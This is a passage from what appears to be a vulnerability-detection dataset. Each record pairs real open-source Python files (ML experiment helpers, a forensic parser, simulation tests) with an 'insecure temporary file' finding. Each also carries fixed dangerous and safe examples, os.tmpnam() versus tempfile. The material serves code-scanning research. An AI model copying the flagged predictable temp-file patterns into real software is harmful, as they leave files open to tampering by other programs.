__logging(metrics, \n y_train, \n y_test, \n y_pred_train, \n y_pred_test)\n\n return metrics_scores\n\n\ndef cross_validation(*, task, \n pipeline, \n X, \n y,\n cv_method, \n metrics, \n inverse=None):\n \"\"\"\n Performs cross validation.\n -------------------------\n\n Parameters\n pipeline: The sklearn pipeline to run.\n X: Dataframe with all the variables.\n y: target.\n cv_method: When 'cross_validation' is chose. A callble from sklearn e.g {KFold, StratifiedKFold}\n metrics: Dictionary containing the metrics names as keys and the metrics fucnctions as values.\n inverse: A function with the inverse transformation applied in the target.\n\n Returns a dictionary with metrics names and metrics results.\n \"\"\"\n metrics_scores = {}\n X_train = None\n splits = cv_method\n for metric_name, metric in metrics.items():\n for train_index, test_index in splits.split(X, y):\n # split\n X_train, y_train = X.loc[train_index], y.loc[train_index]\n X_test, y_test = X.loc[test_index], y.loc[test_index]\n\n # training\n if len(pipeline) > 1:\n X_train = pipeline[:-1].fit_transform(X_train)\n pipeline[-1].fit(X_train, y_train)\n else:\n pipeline.fit(X_train, y_train)\n\n # predict\n if metric_name in ['auc', 'log_loss']:\n y_pred_train = pipeline[-1].predict_proba(X_train)[:,1]\n y_pred_test = pipeline.predict_proba(X_test)[:,1]\n else:\n y_pred_train = pipeline[-1].predict(X_train)\n y_pred_test = pipeline.predict(X_test)\n\n # inverse tranformation for target if needed\n if task == 'regression' and inverse:\n targets = [y_train, y_test, y_pred_train, y_pred_test]\n y_train, y_test, y_pred_train, y_pred_test = [inverse(target) for target in targets]\n\n # compute score\n score_train = metrics[metric_name](y_train, y_pred_train)\n score_test = metrics[metric_name](y_test, y_pred_test)\n\n if metric_name == 'rmse':\n score_train = np.sqrt(score_train)\n score_test = np.sqrt(score_test)\n\n metrics_scores.setdefault(f'train_{metric_name}', []).append(score_train)\n metrics_scores.setdefault(f'test_{metric_name}', []).append(score_test)\n\n # log\n for metric_name, scores in metrics_scores.items():\n mlflow.log_metric(metric_name, np.mean(scores))\n metrics_scores[metric_name] = np.mean(scores)\n\n # Collect data artifacts from the last fold\n data_artifacts(X_train)\n\n return metrics_scores\n\ndef experiment_manager(task, \n pipeline, X, y, \n runs, \n validation, \n hyperparameters, \n metrics, \n random_state=0, \n remote_ui=False,\n **kwargs):\n \"\"\"\n This function runs experiments and records the results.\n -----------------------------------------------------\n\n Parameters\n task: String indicating if it is a 'classification' or 'regression' task.\n pipeline: The sklearn pipeline to run.\n X: Dataframe with all the variables.\n y: Target.\n validation: 'simple_split' or 'cross_validation'.\n hyperparameters: A function returning a dictionary with all the hyperparameters names as keys \n and range values to be tested in each algorithm as values.\n metrics: Dictionary containing the metrics names as keys and the metrics fucnctions as values.\n Metrics names allowed are: For classification {'precision', 'recall', 'f1_score', 'accuracy', 'auc', 'log_loss'}.\n For regression {'rmse', 'mae', 'mape', 'msle', 'r2'}.\n random_state: Random number generator for the split in data.\n remote_ui: Interact with mlflow inerface remotely or locally. Set 'True' if you are using google colab or other remote platform.\n available kwargs: run_label -> For optional labelling in the run name.\n test_size -> When 'simple_split' is chose. Float for the size of the test set.\n cv_method -> When 'cross_validation' is chose. A callble from sklearn e.g {KFold, StratifiedKFold}\n inverse -> A function with the inverse transformation applied in the target.\n \"\"\"\n \n experiment_name = pipeline[-1].__class__.__name__\n mlflow.set_experiment(experiment_name=experiment_name)\n experiment = mlflow.get_experiment_by_name(experiment_name)\n\n print(f\"Experiment Name: {experiment.name}\")\n print(f\"Experiment_id: {experiment.experiment_id}\", end='\\n\\n')\n\n for run in range(runs):\n optional_run_label = kwargs.get('run_label') if kwargs.get('run_label') != None else ''\n with mlflow.start_run(run_name=f'Run: {run+1}{optional_run_label}'):\n\n # log hyperpatameters\n for hyperpatameter_name, hyperpatameter in hyperparameters().items():\n mlflow.log_param(hyperpatameter_name.split('__')[1], hyperpatameter)\n\n # training\n pipeline.set_params(**hyperparameters())\n \n # simple split\n if validation == 'simple_split':\n mlflow.set_tag('random_state_split', random_state)\n mlflow.set_tag('test_size', kwargs['test_size'])\n metrics_scores = simple_split(task=task, \n pipeline=pipeline, \n X=X, \n y=y, \n test_size=kwargs['test_size'], \n metrics=metrics, \n random_state=random_state,\n inverse=kwargs.get('inverse'))\n\n # cross validation\n elif validation == 'cross_validation':\n mlflow.set_tag('cv', kwargs['cv_method'])\n metrics_scores = cross_validation(task=task,\n pipeline=pipeline,\n X=X, \n y=y,\n cv_method=kwargs['cv_method'], \n metrics=metrics,\n inverse=kwargs.get('inverse'))\n\n # Print results\n print(f'Run {run+1}', end='\\n\\n')\n print('HYPERPARAMETERS')\n for key, value in hyperparameters().items():\n print(f'{key[key.find(\"__\")+2:]}: {value}')\n print()\n\n print('SCORES')\n for key, value in metrics_scores.items():\n print(f'{key}: {np.round(value, 3)}')\n print()\n\n # mlflow user interface\n if remote_ui == True:\n return generate_mlflow_ui()\n elif remote_ui == False:\n print('Type \"mlflow ui\" in your terminal in order to interact with mlflow user interface.', end='\\n\\n')", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 126, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "5dec8c4053459dae74a1a9a41ba8a41e9fba65ab0650da802f06cd1dc92ad320", "license": {"spdx": ["MIT"], "repo": "mlndz28/d-bug12", "path": "examples/hello_world.py", "repo_head_hexsha": "7096488ae8b436d3350729166f901c168be13975", "stack_hexsha": "0712a27e486b2b0a7346e7c83d9479e39d924cee", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 19, "entireCode": "from dbug12 import Debugger\nimport tempfile, os, subprocess\n\nasm = '''\n\torg $1FF0\n\tfcc \"Hello World!\"\n\tdc.b $00\n\torg $2000\n\tldd #$1FF0\n\tldx #$0\n\tjsr [#$EE88,X]\n\tswi\n'''\n\n# assemble the src code\n# (optionally you can compile externally and \n# feed the .s19 content to the load method)\ntry:\n\tasm_file = open('tmp.asm','w')\n\tasm_file.write(asm)\n\tasm_file.close()\n\ttry: \n\t\tsubprocess.check_call(['as12', 'tmp.asm', '-otmp.s19'])\n\texcept:\n\t\traise Exception('as12 command not found')\t\n\tcompiled = open('tmp.s19','r').read()\nexcept Exception as e:\n\traise Exception(\"Compilation error: %s\"%e)\nfinally:\n\tfor f in ['tmp.s19','tmp.asm']:\n\t\tif os.path.exists(f): os.remove(f)\n\ndebugger = Debugger()\t\t# make sure there's a board connected (use 'port' optional argument if you're using a custom serial port )\ndebugger.load(compiled)\t\t# upload the compiled code to the board\nreg, output = debugger.run(0x2000)\t\t# run starting from $2000\nprint(output)", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 19, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "2d288d47c753c9d3b508207408099b2b1560598e6bb0a7190870e69366704621", "license": {"spdx": ["Apache-2.0"], "repo": "dfrc-korea/plaso", "path": "plaso/parsers/olecf.py", "repo_head_hexsha": "2c74c3586f94d3ddf9ff523fbdc8cb42d950a109", "stack_hexsha": "220c1749465f64a5e4bb14fefc5c5959a835b413", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 211, "entireCode": "# -*- coding: utf-8 -*-\n\"\"\"Parser for OLE Compound Files (OLECF).\"\"\"\n\nfrom __future__ import unicode_literals\n\nimport pyolecf\n\nfrom plaso.lib import specification\nfrom plaso.parsers import interface\nfrom plaso.parsers import manager\n\nimport os\nimport time\n\nfrom dfdatetime import semantic_time as dfdatetime_semantic_time\nfrom plaso.containers import time_events\nfrom plaso.containers import events\nfrom plaso.lib import definitions\n\nimport sys\nimport itertools\nimport base64 as b64\nimport hashlib\n\n\nclass WinThumbnailExecutionEventData(events.EventData):\n \"\"\"Windows Thumbnail event data.\n\n Attributes:\n\n \"\"\"\n\n DATA_TYPE = 'windows:thumbnail:execution'\n\n def __init__(self):\n \"\"\"Initializes event data.\"\"\"\n super(WinThumbnailExecutionEventData, self).__init__(\n data_type=self.DATA_TYPE)\n self.thumbs_info = None\n self.thumbs_sha1 = None\n '''\n Attributes:\n '''\n\nclass OLECFParser(interface.FileObjectParser):\n \"\"\"Parses OLE Compound Files (OLECF).\"\"\"\n\n # pylint: disable=no-member\n\n _INITIAL_FILE_OFFSET = None\n\n NAME = 'olecf'\n DESCRIPTION = 'Parser for OLE Compound Files (OLECF).'\n\n IMG_DELIMITER = [24, 0, 0, 0, 3, 0, 0, 0]\n HEX_MAP = {\"0\":0, \"1\":1, \"2\":2, \"3\":3, \"4\":4, \"5\":5, \"6\":6, \"7\":7, \"8\":8, \"9\":9, \"a\":10, \"b\":11, \"c\":12, \"d\":13, \"e\":14, \"f\":15}\n\n _plugin_classes = {}\n\n @classmethod\n def GetFormatSpecification(cls):\n \"\"\"Retrieves the format specification.\n\n Returns:\n FormatSpecification: format specification.\n \"\"\"\n format_specification = specification.FormatSpecification(cls.NAME)\n\n # OLECF\n format_specification.AddNewSignature(\n b'\\xd0\\xcf\\x11\\xe0\\xa1\\xb1\\x1a\\xe1', offset=0)\n\n # OLECF beta\n format_specification.AddNewSignature(\n b'\\x0e\\x11\\xfc\\x0d\\xd0\\xcf\\x11\\x0e', offset=0)\n\n return format_specification\n\n def GetSHA1(self, bData): \n h=hashlib.sha1()\n h.update(bData)\n return h.hexdigest()\n\n def OpenBF(self, file_name):\n fn = file_name\n fh = open(fn, 'rb')\n return fh\n\n def ReadB(self, fh, offset):\n ss = ''\n ss = fh.read(offset)\n# if not ss:\n# return \"EOF\"\n return ss\n\n def ChkDelimiter(self, bData):\n idx = 0\n if not bData:\n return False\n for b in bData:\n if int(ord(b)) != self.IMG_DELIMITER[idx]:\n return False\n idx += 1\n return True\n\n def GetSize(self, bData):\n size = 0\n idx = 0\n for b in bData:\n if len(hex(ord(b))) == 4:\n tens = self.HEX_MAP[hex(ord(b))[3]]\n size += tens*(16**idx)\n idx += 1\n units = self.HEX_MAP[hex(ord(b))[2]]\n size += units*(16**idx)\n idx += 1\n else:\n units = self.HEX_MAP[hex(ord(b))[2]]\n size += units*(16**idx)\n idx += 2\n return size\n\n def GetJpgSize(self, bData):\n if self.ChkDelimiter(bData[-26:-18]) == True:\n return self.GetSize(bData[-18:-10])\n else:\n return self.GetSize(bData[-6:-2])\n\n def GetPngSize(self, bData):\n if self.ChkDelimiter(bData[-28:-20]) == True:\n return self.GetSize(bData[-20:-12])\n else:\n return self.GetSize(bData[-5:-9])\n\n def ChkHeaderPattern(self, bData):\n if ord(bData[79]) == 255 and ord(bData[78]) == 255 and ord(bData[77]) == 255 and ord(bData[76]) == 255 and ord(bData[127]) == 0 and ord(bData[126]) == 0 and ord(bData[125]) == 0 and ord(bData[124]) == 0 and ord(bData[207]) == 255 and ord(bData[206]) == 255 and ord(bData[205]) == 255 and ord(bData[204]) == 255 and ord(bData[255]) == 0 and ord(bData[254]) == 0 and ord(bData[253]) == 0 and ord(bData[252]) == 0:\n return True\n return False\n\n def ChkFFPattern(self, bData):\n for b in bData:\n if ord(b) != 255:\n return False\n return True\n \n def ChkFFPattern2(self, bData):\n if 255 == ord(bData[-1]) == ord(bData[-2]) == ord(bData[-3]) ==ord(bData[-4]) ==ord(bData[-5]) ==ord(bData[-6]) ==ord(bData[-7]) ==ord(bData[-8]) ==ord(bData[-9]) ==ord(bData[-10]) ==ord(bData[-11]) ==ord(bData[-12]) ==ord(bData[-13]) ==ord(bData[-14]) ==ord(bData[-15]) and 254 ==ord(bData[-16]):\n return True\n return False\n \n def ChkZero(self, bData):\n for b in bData:\n if ord(b) != 0:\n return False\n return True\n\n def ChkHeader(self, bData):\n for i in range(0, 15):\n if ord(bData[i]) == 255 and ord(bData[i+1]) == 216:\n return True\n return False\n \n def ChkFooter(self, bData):\n for i in range(0, 15):\n if ord(bData[i]) == 255 and ord(bData[i+1]) == 217:\n if ord(bData[i+2]) == 0:\n return True\n return False\n \n def FindHeader(self, bData):\n data = []\n for i in range(0, 511):\n if ord(bData[i]) == 255 and ord(bData[i+1]) == 216: \n data.append('jpg')\n data.append(self.GetJpgSize(bData[0:i+2]))\n data.append(i)\n return data\n for i in range(0, 508):\n if ord(bData[i]) == 137 and ord(bData[i+1]) == 80 and ord(bData[i+2]) == 78 and ord(bData[i+3]) == 71: \n data.append('png')\n data.append(self.GetPngSize(bData[0:i+4]))\n data.append(i)\n return data\n \n def FindFooter(self, bData):\n if ord(bData[-2]) == 255 and ord(bData[-1]) == 217: \n return True\n if ord(bData[-4]) == 174 and ord(bData[-3]) == 66 and ord(bData[-2]) == 96 and ord(bData[-1]) == 130: \n return True\n return False\n \n def GetNxtOff(self, cur):\n nxt = 0\n while True:\n if nxt > cur:\n return nxt\n nxt += 512\n \n def GetPreOff(self, cur):\n pre = self.GetNxtOff(cur) - 512\n while True:\n if pre > cur:\n return pre - 16\n pre += 16\n\n def IJBsaveFile(self, file_object):\n #file_len = file_object.get_size()\n current_offset = file_object.get_offset()\n file_object.seek(0)\n file_data = file_object.read()\n f=open('tmp_ijb_thumb.db', 'wb')\n f.write(file_data)\n f.close()\n file_object.seek(current_offset)\n\n def IJBParserRecords(self, file_object):\n fname = 'tmp_ijb_thumb.db'\n fh = self.OpenBF(fname)\n \n off = 0\n imgOff = []\n imgType = []\n imgSize = []\n findF = -1\n while True:\n off += 512 \n nData = self.ReadB(fh, 512)\n# if nData.decode('utf-8') == \"EOF\":\n if not nData:\n break\n \n if self.ChkHeaderPattern(nData) == True:\n continue\n if self.ChkFFPattern(nData) == True:\n continue\n \n ret = self.FindHeader(nData)\n if not ret:\n pass\n elif ret[0] == 'jpg':\n findF += 1\n imgType.append(ret[0])\n imgSize.append(ret[1])\n imgOff.append((off + ret[2] - 512))\n elif ret[0] == 'png':\n findF += 1\n imgType.append(ret[0])\n imgSize.append(ret[1])\n imgOff.append((off + ret[2] - 512))\n\n if findF == -1:\n fh.close()\n os.remove('tmp_ijb_thumb.db')\n return \"NO TYPE\"\n\n fh.seek(0)\n idx = 1\n thumb_ret = []\n for i in range(0, findF+1):\n #print(str(idx) + \": \" + str(imgType[i]) + \" \" + str(imgSize[i]) + \" \" + str(imgOff[i])) \n fh.seek(imgOff[i])\n fData = self.ReadB(fh, imgSize[i])\n if self.FindFooter(fData) == True:\n thumb_ret.append(str(b64.b64encode(fData)))\n #SaveFile(fData, idx, imgType[i])\n else:\n while True:\n chkOff = self.GetNxtOff(imgOff[i])\n fh.seek(chkOff)\n hData = self.ReadB(fh, 512)\n if self.ChkHeaderPattern(hData) == True or self.ChkFFPattern(hData) == True or self.ChkFFPattern2(hData) == True:\n fData = fData[:chkOff-imgOff[i]]\n fData += self.ReadB(fh, imgSize[i]-(chkOff-imgOff[i]))\n if self.FindFooter(fData) == True:\n thumb_ret.append(str(b64.b64encode(fData)))\n #SaveFile(fData, idx, imgType[i])\n break\n \n if (imgOff[i] + imgSize[i]) > imgOff[i+1]:\n remainSize = imgSize[i] + 12 - (imgOff[i+1] - imgOff[i])\n fData = fData[0:imgSize[i]-remainSize]\n fh.seek(imgOff[i+1] + imgSize[i+1])\n for i in range(0,4):\n rData = self.ReadB(fh, 16)\n while True:\n if self.ChkZero(rData) == True:\n rData = self.ReadB(fh, 16)\n else: break\n fData += self.ReadB(fh, remainSize)\n if self.FindFooter(fData) == True:\n thumb_ret.append(str(b64.b64encode(fData)))\n #SaveFile(fData, idx, imgType[i])\n break\n \n chkOff = self.GetPreOff(imgOff[i])\n fh.seek(chkOff)\n preC = -1\n while True:\n lData = self.ReadB(fh, 16)\n if len(lData) < 16:\n break\n \n if self.ChkHeader(lData) == True:\n preC = 1\n if self.ChkFooter(lData) == True:\n if preC == 2:\n end_pos = 0\n for l in reversed(lData):\n end_pos -= 1\n if ord(l) == 217:\n break\n lLen = 16+end_pos+1\n fData = fData[:(16+end_pos)*-1] + lData[:lLen]\n break\n preC = 2\n chkOff += 16\n if self.FindFooter(fData) == True:\n thumb_ret.append(str(b64.b64encode(fData)))\n #SaveFile(fData, idx, imgType[i])\n break\n #fh.seek(imgOff[i])\n idx += 1\n\n fh.close()\n os.remove('tmp_ijb_thumb.db')\n\n return thumb_ret\n\n def ParseFileObject(self, parser_mediator, file_object):\n \"\"\"Parses an OLE Compound File (OLECF) file-like object.\n\n Args:\n parser_mediator (ParserMediator): mediates interactions between parsers\n and other components, such as storage and dfvfs.\n file_object (dfvfs.FileIO): file-like object.\n \"\"\"\n\n self.IJBsaveFile(file_object)\n ijb_ret = self.IJBParserRecords(file_object)\n if ijb_ret is not \"NO TYPE\":\n date_time = dfdatetime_semantic_time.SemanticTime('Not set')\n for ret in ijb_ret:\n if ret:\n event_data = WinThumbnailExecutionEventData()\n event_data.thumbs_info = ret\n event_data.thumbs_sha1 = self.GetSHA1(ret)\n event = time_events.DateTimeValuesEvent(date_time, definitions.TIME_DESCRIPTION_NOT_A_TIME)\n parser_mediator.ProduceEventWithEventData(event, event_data)\n return\n else:\n olecf_file = pyolecf.file()\n olecf_file.set_ascii_codepage(parser_mediator.codepage)\n\n try:\n olecf_file.open_file_object(file_object)\n except IOError as exception:\n parser_mediator.ProduceExtractionError(\n 'unable to open file with error: {0!s}'.format(exception))\n return\n\n root_item = olecf_file.root_item\n if not root_item:\n return\n\n # Get a list of all items in the root item from the OLECF file.\n item_names = [item.name for item in root_item.sub_items]\n\n # Compare the list of available plugin objects.\n # We will try to use every plugin against the file (except\n # the default plugin) and run it. Only if none of the plugins\n # works will we use the default plugin.\n\n item_names = frozenset(item_names)\n\n try:\n for plugin in self._plugins:\n if parser_mediator.abort:\n break\n\n if not plugin.REQUIRED_ITEMS.issubset(item_names):\n continue\n\n try:\n plugin.UpdateChainAndProcess(parser_mediator, root_item=root_item)\n\n except Exception as exception: # pylint: disable=broad-except\n parser_mediator.ProduceExtractionError((\n 'plugin: {0:s} unable to parse OLECF file with error: '\n '{1!s}').format(plugin.NAME, exception))\n\n if self._default_plugin and not parser_mediator.abort:\n try:\n self._default_plugin.UpdateChainAndProcess(\n parser_mediator, root_item=root_item)\n\n except Exception as exception: # pylint: disable=broad-except\n parser_mediator.ProduceExtractionError((\n 'plugin: {0:s} unable to parse OLECF file with error: '\n '{1!s}').format(self._default_plugin.NAME, exception))\n\n finally:\n olecf_file.close()\n\n\nmanager.ParsersManager.RegisterParser(OLECFParser)", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 211, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "ff38c692eb7c6861461d00ffb133312ff77909321f5a46a624c2e338d52ec962", "license": {"spdx": ["BSD-3-Clause"], "repo": "algchyhao/WNTR", "path": "wntr/tests/test_multiple_simulations.py", "repo_head_hexsha": "dd4db188a8641a4da16cf80a1557c908fa48c17d", "stack_hexsha": "3d35f28ad23c17f78a5d221ae46c13beb3b755ab", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 144, "entireCode": "# These tests run a demand-driven simulation with both WNTR and Epanet and compare the results for the example networks\nimport unittest\nfrom os.path import abspath, dirname, join\nimport pandas as pd\nimport pickle\n\ntestdir = dirname(abspath(str(__file__)))\ntest_datadir = join(testdir,'networks_for_testing')\nex_datadir = join(testdir,'..','..','examples','networks')\n\nclass TestResetInitialValues(unittest.TestCase):\n\n @classmethod\n def setUpClass(self):\n import wntr\n self.wntr = wntr\n\n inp_file = join(ex_datadir, 'Net3.inp')\n self.wn = self.wntr.network.WaterNetworkModel(inp_file)\n self.wn.options.time.hydraulic_timestep = 3600\n self.wn.options.time.duration = 24*3600\n\n sim = self.wntr.sim.WNTRSimulator(self.wn)\n self.res1 = sim.run_sim(solver_options={'TOL':1e-8})\n\n self.wn.reset_initial_values()\n self.res2 = sim.run_sim(solver_options={'TOL':1e-8})\n\n @classmethod\n def tearDownClass(self):\n pass\n\n def test_link_flowrate(self):\n for link_name, link in self.wn.links():\n for t in self.res1.time:\n self.assertAlmostEqual(self.res1.link['flowrate'].at[t,link_name], self.res2.link['flowrate'].at[t,link_name], 7)\n\n def test_link_velocity(self):\n for link_name, link in self.wn.links():\n for t in self.res1.link['velocity'].index:\n self.assertAlmostEqual(self.res1.link['velocity'].at[t,link_name], self.res2.link['velocity'].at[t,link_name], 7)\n\n def test_node_demand(self):\n for node_name, node in self.wn.nodes():\n for t in self.res1.node['demand'].index:\n self.assertAlmostEqual(self.res1.node['demand'].at[t,node_name], self.res2.node['demand'].at[t,node_name], 7)\n\n def test_node_head(self):\n for node_name, node in self.wn.nodes():\n for t in self.res1.node['head'].index:\n self.assertAlmostEqual(self.res1.node['head'].at[t,node_name], self.res2.node['head'].at[t,node_name], 7)\n\n def test_node_pressure(self):\n for node_name, node in self.wn.nodes():\n for t in self.res1.node['pressure'].index:\n self.assertAlmostEqual(self.res1.node['pressure'].at[t,node_name], self.res2.node['pressure'].at[t,node_name], 7)\n\nclass TestStopStartSim(unittest.TestCase):\n\n @classmethod\n def setUpClass(self):\n import wntr\n self.wntr = wntr\n\n inp_file = join(ex_datadir, 'Net3.inp')\n\n parser = self.wntr.epanet.InpFile()\n self.wn = parser.read(inp_file)\n self.wn.options.time.hydraulic_timestep = 3600\n self.wn.options.time.duration = 24*3600\n sim = self.wntr.sim.WNTRSimulator(self.wn)\n self.res1 = sim.run_sim(solver_options={'TOL':1e-8})\n\n parser = self.wntr.epanet.InpFile()\n self.wn = parser.read(inp_file)\n self.wn.options.time.hydraulic_timestep = 3600\n self.wn.options.time.duration = 10*3600\n sim = self.wntr.sim.WNTRSimulator(self.wn)\n self.res2 = sim.run_sim(solver_options={'TOL':1e-8})\n self.wn.options.time.duration = 24*3600\n self.res3 = sim.run_sim(solver_options={'TOL':1e-8})\n\n node_res = {}\n link_res = {}\n for key in self.res2.node.keys():\n node_res[key] = pd.concat([self.res2.node[key],self.res3.node[key]],axis=0)\n for key in self.res2.link.keys():\n link_res[key] = pd.concat([self.res2.link[key],self.res3.link[key]],axis=0)\n \n self.res2.node = node_res\n self.res2.link = link_res\n\n @classmethod\n def tearDownClass(self):\n pass\n \n def test_link_flowrate(self):\n for link_name, link in self.wn.links():\n for t in self.res1.link['flowrate'].index:\n self.assertAlmostEqual(self.res1.link['flowrate'].at[t,link_name], self.res2.link['flowrate'].at[t,link_name], 7)\n\n def test_link_velocity(self):\n for link_name, link in self.wn.links():\n for t in self.res1.link['velocity'].index:\n self.assertAlmostEqual(self.res1.link['velocity'].at[t,link_name], self.res2.link['velocity'].at[t,link_name], 7)\n\n def test_node_demand(self):\n for node_name, node in self.wn.nodes():\n for t in self.res1.node['demand'].index:\n self.assertAlmostEqual(self.res1.node['demand'].at[t,node_name], self.res2.node['demand'].at[t,node_name], 7)\n\n def test_node_head(self):\n for node_name, node in self.wn.nodes():\n for t in self.res1.node['head'].index:\n self.assertAlmostEqual(self.res1.node['head'].at[t,node_name], self.res2.node['head'].at[t,node_name], 7)\n\n def test_node_pressure(self):\n for node_name, node in self.wn.nodes():\n for t in self.res1.node['pressure'].index:\n self.assertAlmostEqual(self.res1.node['pressure'].at[t,node_name], self.res2.node['pressure'].at[t,node_name], 7)\n\nclass TestPickle(unittest.TestCase):\n\n @classmethod\n def setUpClass(self):\n import wntr\n self.wntr = wntr\n\n inp_file = join(ex_datadir, 'Net3.inp')\n\n parser = self.wntr.epanet.InpFile()\n self.wn = parser.read(inp_file)\n self.wn.options.time.hydraulic_timestep = 3600\n self.wn.options.time.duration = 24*3600\n sim = self.wntr.sim.WNTRSimulator(self.wn)\n self.res1 = sim.run_sim(solver_options={'TOL':1e-8})\n\n parser = self.wntr.epanet.InpFile()\n self.wn = parser.read(inp_file)\n self.wn.options.time.hydraulic_timestep = 3600\n self.wn.options.time.duration = 10*3600\n sim = self.wntr.sim.WNTRSimulator(self.wn)\n self.res2 = sim.run_sim(solver_options={'TOL':1e-8})\n f=open('temp.pickle','wb')\n pickle.dump(self.wn,f)\n f.close()\n f=open('temp.pickle','rb')\n wn2 = pickle.load(f)\n f.close()\n wn2.options.time.duration = 24*3600\n sim = self.wntr.sim.WNTRSimulator(wn2)\n self.res3 = sim.run_sim(solver_options={'TOL':1e-8})\n\n node_res = {}\n link_res = {}\n for key in self.res2.node.keys():\n node_res[key] = pd.concat([self.res2.node[key],self.res3.node[key]],axis=0)\n for key in self.res2.link.keys():\n link_res[key] = pd.concat([self.res2.link[key],self.res3.link[key]],axis=0)\n \n self.res2.node = node_res\n self.res2.link = link_res\n\n @classmethod\n def tearDownClass(self):\n pass\n\n \n def test_link_flowrate(self):\n for link_name, link in self.wn.links():\n for t in self.res1.link['flowrate'].index:\n self.assertAlmostEqual(self.res1.link['flowrate'].at[t,link_name], self.res2.link['flowrate'].at[t,link_name], 7)\n\n def test_link_velocity(self):\n for link_name, link in self.wn.links():\n for t in self.res1.link['velocity'].index:\n self.assertAlmostEqual(self.res1.link['velocity'].at[t,link_name], self.res2.link['velocity'].at[t,link_name], 7)\n\n def test_node_demand(self):\n for node_name, node in self.wn.nodes():\n for t in self.res1.node['demand'].index:\n self.assertAlmostEqual(self.res1.node['demand'].at[t,node_name], self.res2.node['demand'].at[t,node_name], 7)\n\n def test_node_head(self):\n for node_name, node in self.wn.nodes():\n for t in self.res1.node['head'].index:\n self.assertAlmostEqual(self.res1.node['head'].at[t,node_name], self.res2.node['head'].at[t,node_name], 7)\n\n def test_node_pressure(self):\n for node_name, node in self.wn.nodes():\n for t in self.res1.node['pressure'].index:\n self.assertAlmostEqual(self.res1.node['pressure'].at[t,node_name], self.res2.node['pressure'].at[t,node_name], 7)\n\nif __name__ == '__main__':\n unittest.main()", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 144, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "e0c1796d42f1c3a2a69ea490441f2bfb933f89a06bbd7a929141a5e9c217482d", "license": {"spdx": ["MIT"], "repo": "juzb/DeeProtein", "path": "DeeProtein/sense.py", "repo_head_hexsha": "487694a24abdb4656499111c8a8904dfcb1d98ab", "stack_hexsha": "4a0781e6a425de72554cf6eb161a0c6a29d86ad1", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 9, "entireCode": "import subprocess\n\nwhile True:\n #name = input('Please enter four letter name for this run: ')\n name = \"AAAA\"\n sequence = input('Please enter the sequence to analyze: ')\n gos = input('Please enter the GO terms to analyze sperarated by commas: ')\n\n with open('/results/tmp/masked_dataset.txt', 'w') as ofile:\n ofile.write('{};{};{};{};{};{}'.format(name,\n 'A',\n gos,\n sequence,\n '.' * len(sequence),\n '_' * len(sequence)))\n\n subprocess.call(['bash', '/code/analyze_sensitivity.sh', gos])\n print('Performed sensitivity analysis. '\n 'Please find the results in /results\\n\\n')\n", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 9, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "07dc1ff0dd5d67471dd80bf0c0969df2aad90b15cbeb88b620310f44f31dd98d", "license": 